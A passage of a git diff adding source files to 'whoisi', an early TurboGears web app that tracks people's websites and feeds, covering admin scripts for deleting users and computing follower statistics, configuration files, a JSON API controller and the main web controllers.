+    x = simplejson.dumps({"thumb": r[1]})
+    q2 = """UPDATE site_history set display_cache = %s where id = %s"""
+    c2 = db.cursor()
+    c2.execute(q2, [x, r[0]])
+
+    r = c.fetchone()
+
diff --git a/utils/delete_user.py b/utils/delete_user.py
new file mode 100755 (executable)
index 0000000..6c752dc
--- /dev/null
@@ -0,0 +1,98 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import sys
+import MySQLdb
+
+person_id = int(sys.argv[1])
+
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+c = db.cursor()
+
+# person table
+
+q = """delete from person where id = %s""" % person_id
+c.execute(q)
+c.fetchall()
+
+# aliases table
+
+q = """delete from name where person_id = %s""" % person_id
+c.execute(q)
+c.fetchall()
+
+# sites table
+q = """delete from site where person_id not in (select id from person)"""
+c.execute(q)
+c.fetchall()
+
+# site history
+q = """delete from site_history where site_id not in (select id from site)"""
+c.execute(q)
+c.fetchall()
+
+# change_audit table
+#  add alias
+#    item_type = "alias" action = "add" item_id = name_id
+#  remove alias
+#    item_type = "alias" action = "remove" item_id = person_id
+#  follow person
+#    item_type = "person" action = "follow" item_id = person_id
+#  unfollow person
+#    item_type = "person" action = "unfollow" item_id = person_id
+#  change name
+#    item_type = "person" action = "change" item_id = person_id
+#  add site
+#    item_type = "site" action = "add" item_id = site_id
+#  remove site
+#    item_type = "site" action = "remove" item_id = site_id
+
+q = """delete from change_audit where item_type = 'person' and item_id = %s""" % person_id
+c.execute(q)
+c.fetchall()
+
+q = """delete from change_audit where item_type = 'alias' and action = 'remove' and item_id = %s""" % person_id
+c.execute(q)
+c.fetchall()
+
+q = """delete from change_audit where item_type = 'alias' and action = 'add'
+  and item_id not in (select id from name)"""
+c.execute(q)
+c.fetchall()
+
+q = """delete from change_audit where item_type = 'site' and item_id not in (select id from site)"""
+c.execute(q)
+c.fetchall()
+
+# follow_person table
+q = """delete from follow_person where person_id = %s""" % person_id
+c.execute(q)
+c.fetchall()
diff --git a/utils/follower_stats.py b/utils/follower_stats.py
new file mode 100755 (executable)
index 0000000..1fc3bd5
--- /dev/null
@@ -0,0 +1,132 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Joe Shaw <joe@joeshaw.org>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from datetime import datetime
+import MySQLdb
+
+def get_follower_data(cursor):
+    cursor.execute("SELECT person_id, follower_id FROM follow_person")
+    return cursor.fetchall()
+
+def get_follower_dict(follower_data):
+    follower_dict = dict()
+    for person, follower in follower_data:
+        follower_dict.setdefault(follower, [])
+        follower_dict[follower].append(person)
+
+    return follower_dict
+
+def print_user_followers_histogram(follower_dict):
+    histogram = dict()
+    for follower, people in follower_dict.iteritems():
+        histogram.setdefault(len(people), 0)
+        histogram[len(people)] += 1
+
+    print "Histrogram of people followed to number of users:"
+    for follow_count in sorted(histogram.keys()):
+        print "%4d: %d" % (follow_count, histogram[follow_count])
+
+    total_users = sum(histogram.values())
+
+    print
+    print "Total users: %d" % total_users
+
+    def get_results(relationship):
+        matching_users = sum([num_users for count, num_users
+                              in histogram.iteritems()
+                              if relationship(count)])
+        return matching_users, (100. * matching_users / total_users)
+
+    print ("Number of users following only 1 person: %d (%.1f%%)"
+           % get_results(lambda x: x == 1))
+
+    # Kinda ugly.  Gives us [5, 10, 20, ..., 100]
+    for level in [5] + range(10, 101, 10):
+        num, percent = get_results(lambda x: x >= level)
+        print ("Number of users following %3d or more people: %3d (%.1f%%)"
+               % (level, num, percent))
+    print
+
+def print_user_visit_histogram(cursor, follower_dict, min_followed = 1):
+    cursor.execute("SELECT id, last_visit FROM follower")
+
+    now = datetime.utcnow()
+
+    histogram = dict()
+    for follower, last_visit in cursor.fetchall():
+        if len(follower_dict.get(follower, [])) < min_followed:
+            continue
+        
+        # Convert the last_visit to day increments
+        last_visit = last_visit.replace(hour=0, minute=0, second=0,
+                                        microsecond=0)
+        
+        histogram.setdefault(last_visit, 0)
+        histogram[last_visit] += 1
+
+    print "Last login date to number of users (min %d followed):" % min_followed
+    for last_visit in sorted(histogram.keys()):
+        print "%d-%02d-%02d: %d" % (last_visit.year, last_visit.month,
+                                last_visit.day, histogram[last_visit])
+
+    print
+
+def print_most_popular(follower_data, count = 10):
+    people_table = {}
+
+    for person, follower in follower_data:
+        people_table.setdefault(person, 0)
+        people_table[person] += 1
+
+    print "Most popular people with number of followers:"
+    for person_id, followers in sorted(people_table.iteritems(),
+                                       key = lambda (k,v): v,
+                                       reverse = True)[:count]:
+        print "%4d: %d" % (person_id, followers)
+
+    print
+        
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+
+c = db.cursor()
+
+try:
+    follower_data = get_follower_data(c)
+    follower_dict = get_follower_dict(follower_data)
+    print_user_followers_histogram(follower_dict)
+    print_user_visit_histogram(c, follower_dict, min_followed=5)
+    print_user_visit_histogram(c, follower_dict, min_followed=10)
+    print_user_visit_histogram(c, follower_dict, min_followed=20)
+    print_most_popular(follower_data)
+finally:
+    c.close()
+    del c
+    db.close()
diff --git a/utils/query_everyone_perf.py b/utils/query_everyone_perf.py
new file mode 100755 (executable)
index 0000000..c81e78e
--- /dev/null
@@ -0,0 +1,84 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+q = """
+SELECT
+site_history.id,
+site_history.link,
+site_history.title,
+site_history.published,
+site_history.updated,
+site_history.added,
+site_history.content,
+site_history.summary,
+site_history.display_cache,
+site.id,
+site.title,
+site.url,
+site.current,
+site.type,
+person.id,
+person.name
+FROM
+site_history, site, person
+WHERE
+site_history.site_id = site.id
+AND
+site_history.on_new = 0
+AND
+site.is_removed is NULL
+AND
+site.person_id = person.id
+ORDER BY
+site_history.id
+DESC
+LIMIT 30
+"""
+
+import MySQLdb
+
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+
+def runit():
+    global db
+    c = db.cursor()
+    c.execute(q)
+    c.fetchall()
+    c.close()
+    del c
+
+stmt = "runit()"
+
+import timeit
+t = timeit.Timer(stmt=stmt, setup="from __main__ import runit")
+x = t.timeit(number=10000)
+print "%.2f requests/sec" % (10000/x)
+
diff --git a/utils/utils.cfg b/utils/utils.cfg
new file mode 100644 (file)
index 0000000..2c287c7
--- /dev/null
@@ -0,0 +1,6 @@
+[db]
+host=localhost
+user=user
+passwd=passwd
+db=whoisi
+port=3306
diff --git a/whoisi.egg-info/PKG-INFO b/whoisi.egg-info/PKG-INFO
new file mode 100644 (file)
index 0000000..bf59a34
--- /dev/null
@@ -0,0 +1,15 @@
+Metadata-Version: 1.0
+Name: whoisi
+Version: 1.0
+Summary: UNKNOWN
+Home-page: UNKNOWN
+Author: UNKNOWN
+Author-email: UNKNOWN
+License: UNKNOWN
+Description: UNKNOWN
+Platform: UNKNOWN
+Classifier: Development Status :: 3 - Alpha
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Classifier: Framework :: TurboGears
diff --git a/whoisi.egg-info/SOURCES.txt b/whoisi.egg-info/SOURCES.txt
new file mode 100644 (file)
index 0000000..75f820f
--- /dev/null
@@ -0,0 +1,21 @@
+README.txt
+setup.py
+start-whoisi.py
+whoisi/__init__.py
+whoisi/controllers.py
+whoisi/json.py
+whoisi/model.py
+whoisi/release.py
+whoisi.egg-info/PKG-INFO
+whoisi.egg-info/SOURCES.txt
+whoisi.egg-info/dependency_links.txt
+whoisi.egg-info/not-zip-safe
+whoisi.egg-info/paster_plugins.txt
+whoisi.egg-info/requires.txt
+whoisi.egg-info/sqlobject.txt
+whoisi.egg-info/top_level.txt
+whoisi/config/__init__.py
+whoisi/templates/__init__.py
+whoisi/tests/__init__.py
+whoisi/tests/test_controllers.py
+whoisi/tests/test_model.py
diff --git a/whoisi.egg-info/dependency_links.txt b/whoisi.egg-info/dependency_links.txt
new file mode 100644 (file)
index 0000000..8b13789
--- /dev/null
@@ -0,0 +1 @@
+
diff --git a/whoisi.egg-info/not-zip-safe b/whoisi.egg-info/not-zip-safe
new file mode 100644 (file)
index 0000000..8b13789
--- /dev/null
@@ -0,0 +1 @@
+
diff --git a/whoisi.egg-info/paster_plugins.txt b/whoisi.egg-info/paster_plugins.txt
new file mode 100644 (file)
index 0000000..14fec70
--- /dev/null
@@ -0,0 +1,2 @@
+TurboGears
+PasteScript
diff --git a/whoisi.egg-info/requires.txt b/whoisi.egg-info/requires.txt
new file mode 100644 (file)
index 0000000..df5d977
--- /dev/null
@@ -0,0 +1 @@
+TurboGears >= 1.0.3.2
\ No newline at end of file
diff --git a/whoisi.egg-info/sqlobject.txt b/whoisi.egg-info/sqlobject.txt
new file mode 100644 (file)
index 0000000..57d59e3
--- /dev/null
@@ -0,0 +1,2 @@
+db_module=whoisi.model
+history_dir=$base/whoisi/sqlobject-history
diff --git a/whoisi.egg-info/top_level.txt b/whoisi.egg-info/top_level.txt
new file mode 100644 (file)
index 0000000..f9ec599
--- /dev/null
@@ -0,0 +1 @@
+whoisi
diff --git a/whoisi/__init__.py b/whoisi/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/whoisi/api.py b/whoisi/api.py
new file mode 100644 (file)
index 0000000..827d1ee
--- /dev/null
@@ -0,0 +1,124 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from turbogears import controllers, expose, validate, validators
+from whoisi.utils.fast_api import *
+from whoisi.utils.url_lookup import check_db_for_site_dup
+from model import *
+import simplejson
+import cherrypy
+import logging
+import urlparse
+import re
+
+log = logging.getLogger("whoisi.controllers")
+
+class ApiController(controllers.Controller):
+
+    @expose(template="whoisi.templates.api-top-doc")
+    def index(self):
+        return dict()
+
+    @expose("json")
+    @validate(validators=dict(app=validators.NotEmpty()))
+    def getMaxPersonID(self, app):
+        return dict(person_id=fast_get_max_person_id())
+
+    @expose("json")
+    @validate(validators=dict(app=validators.NotEmpty(),
+                              first=validators.Int(), last=validators.Int()))
+    def getPeople(self, app, first, last):
+        if last - first > 100:
+            raise ValueError("Can't get more than 100 at a time")
+
+        retval = fast_get_people(first, last)
+        return dict(people=retval)
+
+    @expose("json")
+    @validate(validators=dict(app=validators.NotEmpty(),
+                              person=validators.Int()))
+    def getPerson(self, app, person):
+        retval = fast_get_people(person, person)[person]
+        return dict(person=retval)
+
+    @expose("json")
+    @validate(validators=dict(app=validators.NotEmpty(),
+                              url=validators.NotEmpty()))
+    def getPersonForURL(self, app, url):
+        retval = check_db_for_site_dup(url)
+        if retval is None:
+            return dict(person=None)
+
+        person_id = retval.personID
+        retval = fast_get_people(person_id, person_id)[person_id]
+        return dict(person=retval, person_id=person_id)
+
+    @expose("json")
+    @validate(validators=dict(app=validators.NotEmpty(),
+                              tiny=validators.NotEmpty()))
+    def getURLForTinyLink(self, app, tiny):
+        print tiny
+        # convert url to id
+        u = urlparse.urlparse(tiny)
+        urlparse.clear_cache()
+
+        # we only care about the path component
+        path = u[2]
+
+        print path
+        path = re.match('^\/l\/([0-9a-f]+)$', path).group(1)
+        if not path:
+            raise ValueError
+
+        id = int(path, 16)
+
+        try:
+            sh = SiteHistory.get(id)
+        except SQLObjectNotFound:
+            return dict(url=None)
+
+        url = sh.link
+        title = sh.title
+
+        site = sh.site
+        print site
+
+        person_id = site.personID
+
+        person=fast_get_people(person_id, person_id)
+
+        site = dict(id=site.id, url=site.url, feed=site.feed,
+                    type=site.type, title=site.title)
+
+        return dict(url=url, title=title, site=site, person=person, person_id=person_id)
+
+    @expose("json")
+    @validate(validators=dict(app=validators.NotEmpty(),
+                              site=validators.Int()))
+    def startRefresh(self, app, site):
+        # make sure it's a valid site id by looking it up
+        s = Site.get(site)
+
+        # if we got this far we didn't get an exception
+        sr = SiteRefresh(site=s, status="new")
+
+        return dict(status="new", id=sr.id)
diff --git a/whoisi/config/__init__.py b/whoisi/config/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/whoisi/config/app.cfg b/whoisi/config/app.cfg
new file mode 100644 (file)
index 0000000..c5100f2
--- /dev/null
@@ -0,0 +1,147 @@
+[global]
+# The settings in this file should not vary depending on the deployment
+# environment. dev.cfg and prod.cfg are the locations for
+# the different deployment settings. Settings in this file will
+# be overridden by settings in those other files.
+
+# The commented out values below are the defaults
+
+# VIEW
+
+# which view (template engine) to use if one is not specified in the
+# template name
+tg.defaultview = "mako"
+mako.directories = ["."]
+mako.output_encoding = "utf-8"
+make.default_filters = ["decode.utf-8"]
+
+#make.encoding_errors = "replace"
+
+# Turn off empty tg_flash in every json request
+tg.empty_flash = False
+
+# The following kid settings determine the settings used by the kid serializer.
+
+# Kid output method (e.g. html, html-strict, xhtml, xhtml-strict, xml, json)
+# and formatting (e.g. default, straight, compact, newlines, wrap, nice)
+# kid.outputformat="html default"
+
+# kid.encoding="utf-8"
+
+# The sitetemplate is used for overall styling of a site that
+# includes multiple TurboGears applications
+# tg.sitetemplate="<packagename.templates.templatename>"
+
+# Allow every exposed function to be called as json,
+# tg.allow_json = False
+
+# List of Widgets to include on every page.
+# for exemple ['turbogears.mochikit']
+# tg.include_widgets = []
+
+# Set to True if the scheduler should be started
+# tg.scheduler = False
+
+# Set session or cookie
+# session_filter.on = True
+
+# VISIT TRACKING
+# Each visit to your application will be assigned a unique visit ID tracked via
+# a cookie sent to the visitor's browser.
+# --------------
+
+# Enable Visit tracking
+visit.on=False
+
+# Number of minutes a visit may be idle before it expires.
+# visit.timeout=20
+
+# The name of the cookie to transmit to the visitor's browser.
+# visit.cookie.name="tg-visit"
+
+# Domain name to specify when setting the cookie (must begin with . according to
+# RFC 2109). The default (None) should work for most cases and will default to
+# the machine to which the request was made. NOTE: localhost is NEVER a valid
+# value and will NOT WORK.
+# visit.cookie.domain=None
+
+# Specific path for the cookie
+# visit.cookie.path="/"
+
+# The name of the VisitManager plugin to use for visitor tracking.
+visit.manager="sqlobject"
+
+# Database class to use for visit tracking
+visit.soprovider.model = "whoisi.model.Visit"
+identity.soprovider.model.visit = "whoisi.model.VisitIdentity"
+
+# IDENTITY
+# General configuration of the TurboGears Identity management module
+# --------
+
+# Switch to turn on or off the Identity management module
+identity.on=False
+
+# [REQUIRED] URL to which CherryPy will internally redirect when an access
+# control check fails. If Identity management is turned on, a value for this
+# option must be specified.
+identity.failure_url="/userlogin"
+
+# identity.provider='sqlobject'
+
+# The names of the fields on the login form containing the visitor's user ID
+# and password. In addition, the submit button is specified simply so its
+# existence may be stripped out prior to passing the form data to the target
+# controller.
+# identity.form.user_name="user_name"
+# identity.form.password="password"
+# identity.form.submit="login"
+
+# What sources should the identity provider consider when determining the
+# identity associated with a request? Comma separated list of identity sources.
+# Valid sources: form, visit, http_auth
+# identity.source="form,http_auth,visit"
+
+# SqlObjectIdentityProvider
+# Configuration options for the default IdentityProvider
+# -------------------------
+
+# The classes you wish to use for your Identity model. Remember to not use reserved
+# SQL keywords for class names (at least unless you specify a different table
+# name using sqlmeta).
+identity.soprovider.model.user="whoisi.model.User"
+identity.soprovider.model.group="whoisi.model.Group"
+identity.soprovider.model.permission="whoisi.model.Permission"
+
+# The password encryption algorithm used when comparing passwords against what's
+# stored in the database. Valid values are 'md5' or 'sha1'. If you do not
+# specify an encryption algorithm, passwords are expected to be clear text.
+# The SqlObjectProvider *will* encrypt passwords supplied as part of your login
+# form.  If you set the password through the password property, like:
+# my_user.password = 'secret'
+# the password will be encrypted in the database, provided identity is up and
+# running, or you have loaded the configuration specifying what encryption to
+# use (in situations where identity may not yet be running, like tests).
+
+# identity.soprovider.encryption_algorithm=None
+
+# compress the data sends to the web browser
+# [/]
+# gzip_filter.on = True
+# gzip_filter.mime_types = ["application/x-javascript", "text/javascript", "text/html", "text/css", "text/plain"]
+
+[/static]
+static_filter.on = True
+static_filter.dir = "%(top_level_dir)s/static"
+
+[/favicon.ico]
+static_filter.on = True
+static_filter.file = "%(top_level_dir)s/static/images/favicon.ico"
+
+[/robots.txt]
+static_filter.on = True
+static_filter.file = "%(top_level_dir)s/static/txt/robots.txt"
+
+[/apple-touch-icon.png]
+static_filter.on = True
+static_filter.file = "%(top_level_dir)s/static/images/apple-touch-icon.png"
diff --git a/whoisi/config/log.cfg b/whoisi/config/log.cfg
new file mode 100644 (file)
index 0000000..ce776f8
--- /dev/null
@@ -0,0 +1,29 @@
+# LOGGING
+# Logging is often deployment specific, but some handlers and
+# formatters can be defined here.
+
+[logging]
+[[formatters]]
+[[[message_only]]]
+format='*(message)s'
+
+[[[full_content]]]
+format='*(asctime)s *(name)s *(levelname)s *(message)s'
+
+[[handlers]]
+[[[debug_out]]]
+class='StreamHandler'
+level='DEBUG'
+args='(sys.stdout,)'
+formatter='full_content'
+
+[[[access_out]]]
+class='StreamHandler'
+level='INFO'
+args='(sys.stdout,)'
+formatter='message_only'
+
+[[[error_out]]]
+class='StreamHandler'
+level='ERROR'
+args='(sys.stdout,)'
diff --git a/whoisi/controllers.py b/whoisi/controllers.py
new file mode 100644 (file)
index 0000000..ee258f1
--- /dev/null
@@ -0,0 +1,976 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from turbogears import controllers, expose, flash, validate
+from turbogears.view.base import render as render_template
+from model import *
+from turbogears import identity, redirect, error_handler, validators
+from cherrypy import request, response, NotFound
+from search import SearchService, fast_people_ids_by_name
+from datetime import datetime, timedelta
+from whoisi.utils.url_lookup import check_db_for_site_dup
+from whoisi.utils.recaptcha import recaptcha_check_fail
+from whoisi.utils.follow import login as follow_login
+from whoisi.utils.follow import current as follow_current
+from whoisi.utils.follow import last_history as follow_last_history
+from whoisi.utils.fast_follow import fast_people_ids_by_name_for_follower
+from whoisi.utils.fast_history import fast_recent_changes_for_everyone, \
+                                      fast_recent_changes_for_follower, \
+                                      fast_recent_changes_for_event, \
+                                      fast_count_items_for_follower, \
+                                      fast_max_item_for_follower, \
+                                      fast_site_history_for_site
+from whoisi.utils.site_history import history_to_clusters
+from whoisi.utils.preview_site import convert_feed_to_fake_site, \
+                                      convert_linkedin_to_fake_site
+from whoisi.utils.sites import fast_sites_for_person
+from whoisi.utils.names import fast_names_for_person
+from whoisi.utils.track import get_request_tracking
+from whoisi.utils.recommendations import get_recommendations
+from whoisi.api import ApiController
+import whoisi.utils.follow as follow
+# from whoisi import json
+
+import logging
+log = logging.getLogger("whoisi.controllers")
+
+import simplejson
+import re
+
+class Root(controllers.RootController):
+
+    api = ApiController()
+
+    @expose(template="whoisi.templates.index")
+    def index(self):
+        return dict()
+
+    @expose(template="whoisi.templates.search")
+    @validate(validators=dict(page=validators.Int()))
+    def search(self, search=None, page=0, **kw):
+        # show the search form if nothing was passed in for search
+        if search is None or len(search) is 0:
+            redirect('/')
+
+        # start a search - returns a list of people ids
+        people_ids = fast_people_ids_by_name(search)
+
+        # we show 5 per page
+        total_results = len(people_ids)
+        page_size=5
+        start = page_size * page
+        end = min(total_results, page_size * (page + 1))
+
+        last_page = False
+        first_page = False
+
+        if end == len(people_ids):
+            last_page = True
+
+        people_ids = people_ids[start:end]
+
+        # stuff we're going to pass down into the widget
+        people, other_names, sites, site_history = self.peopleListToFullDisplay(people_ids)
+
+        # convert to nice upper case
+        pretty_search = SearchService.prettifyName(search)
+
+        return dict(search=search, pretty_search=pretty_search,
+                    people=people,
+                    other_names=other_names,
+                    sites=sites,
+                    site_history=site_history,
+                    last_page=last_page,
+                    cur_page=page,
+                    start=start,
+                    end=end,
+                    total_results=total_results)
+
+    @expose(template="whoisi.templates.person-add")
+    def addform(self, name=None, url=None):
+        return dict(name=name, url=url, search=None)
+
+    @expose(allow_json=True)
+    @validate(validators=dict(name=validators.NotEmpty(), url=validators.NotEmpty()))
+    def addperson(self, name=None, url=None,
+                  recaptcha_challenge_field=None,
+                  recaptcha_response_field=None):
+        # check to make sure the url is valid
+        try:
+            validators.URL(add_http=False).to_python(url)
+        except:
+            return dict(status="bad_url")
+
+        # see if this already exists in our database
+        dup = check_db_for_site_dup(url)
+        if dup:
+            # xlate the site that was just returned into something
+            # that we can render
+            content = 'That url is already associated with <a href="/p/' + str(dup.person.id) + '" target="_blank">' + str(dup.person.name) + '</a>.'
+            return dict(status="already_exists", content=content)
+
+        # check the captcha last
+        re_error = recaptcha_check_fail(recaptcha_challenge_field, recaptcha_response_field)
+        if re_error:
+            error_text = "Your words appear incorrect.  Please try again!"
+            return dict(status="recaptcha_fail", error_text=error_text)
+
+        # Set up tracking info for later
+        remoteip, ua, referer = get_request_tracking()
+        follower=follow_current()
+        if follower:
+            follower = follower.id
+
+        track_info = simplejson.dumps(dict(remoteip=remoteip, useragent=ua, referer=referer, follower=follower))
+
+        # stick the new request into the database and return the new
+        # ID
+        ns = NewSite(person=None, url=url, status="preview", track_info=track_info)
+        return dict(status="preview_loading", id=ns.id)
+
+    @expose(allow_json=True)
+    @validate(validators=dict(id=validators.Int()))
+    def addpersonstatus(self, id):
+        ns = NewSite.get(id)
+
+        # still loading?
+        if ns.status == "preview":
+            return dict(status="preview_loading", id=ns.id)
+
+        # failed to load?
+        if ns.status == "error":
+            err = None
+            if ns.error == "invalid_feed":
+                err = "Page contained an invalid or empty feed.  Please check the URL and try again."
+            elif ns.error == "feed_not_found":
+                err = "No feed found on that page.  Please check the URL and try again."
+            elif ns.error == "page_not_found":
+                err = "Page not found.  Please check the URL and try again."
+            else:
+                err = "Error Loading Page.  Please check the URL and try again."
+
+            return dict(status="load_error", error=err)
+
+        # done with the preview?
+        if ns.status == "preview_done":
+            data = simplejson.loads(ns.data)
+            type = data["type"]
+            feed = None
+            current = None
+            content = None
+
+            if type == "linkedin":
+                # linkedin doesn't have a feed - just current
+                current = data["current"]
+                site = convert_linkedin_to_fake_site(ns.url, current)
+                content = unicode(self.rendersite(site, None, "preview"), "utf-8")
+            else:
+                feed = data["feed"]
+
+                # check to make sure we don't have any duplicates
+                dup = None
+                try:
+                    dup = check_db_for_site_dup(feed["link"])
+                except:
+                    pass
+                if dup:
+                    content = 'That url is already associated with <a href="/p/' + str(dup.person.id) + '" target="_blank">' + str(dup.person.name) + '</a>.'
+                    return dict(status="already_exists", content=content)
+
+                # set our default depth but clamp it to the size of
+                # the feed
+                max_depth = self.getDisplayDepth(type, "preview")
+
+                # turn the raw feed into something we can display to the user
+                site, site_history = convert_feed_to_fake_site(feed, type, max_depth)
+                content = unicode(self.rendersite(site, site_history, "preview"), "utf-8")
+
+            t = render_template(dict(), "whoisi.templates.person-add-confirm")
+            return dict(status="preview_done", confirm=t, content=content)
+
+        # need to pick a url?
+        if ns.status == "pick_url":
+            d = simplejson.loads(ns.data)
+            t = render_template(dict(new_site=ns.id, feeds=d),
+                                "whoisi.templates.person-add-pick-widget")
+            return dict(status="pick_url", content=unicode(t, "utf-8"))
+
+        return dict(status="buh")
+
+    @expose(allow_json=True)
+    @validate(validators=dict(id=validators.Int(), feed=validators.Int()))
+    def addpersonpick(self, id, feed):
+        # start a new request with the new url
+        old_ns = NewSite.get(id)
+
+        # make sure that someone can't re-use this id
+        old_ns.status = "done"
+
+        d = old_ns.data
+        d = simplejson.loads(d)
+        d = d[feed][0]
+
+        new_ns = NewSite(person=None, status="preview", url=d, track_info=old_ns.track_info)
+        return dict(status="preview_loading", id=new_ns.id)
+        
+    @expose(allow_json=True)
+    @validate(validators=dict(id=validators.Int(), person=validators.NotEmpty()))
+    def addpersonconfirm(self, id, person):
+        # verify that a preview completed successfully
+        old_ns = NewSite.get(id)
+
+        if old_ns.status != "preview_done":
+            return dict(status="load_error", error="Bad state.  (How did you get here?)")
+
+        # move new_site to new, allocate a person_id and redirect
+        p = Person(name=person)
+        p.sync()
+
+        # Add something useful to the audit trail
+        remoteip, ua, referer = get_request_tracking()
+        ChangeAudit(action="add", itemType="person", itemID=p.id,
+                    follower=follow_current(),
+                    referer=referer,
+                    remoteip=remoteip,
+                    useragent=ua)
+
+        # make sure that someone can't re-use this id
+        old_ns.status = "done"
+
+        # copy it into a new site request
+        new_ns = NewSite(person=p, status="new", url=old_ns.url, track_info=old_ns.track_info)
+
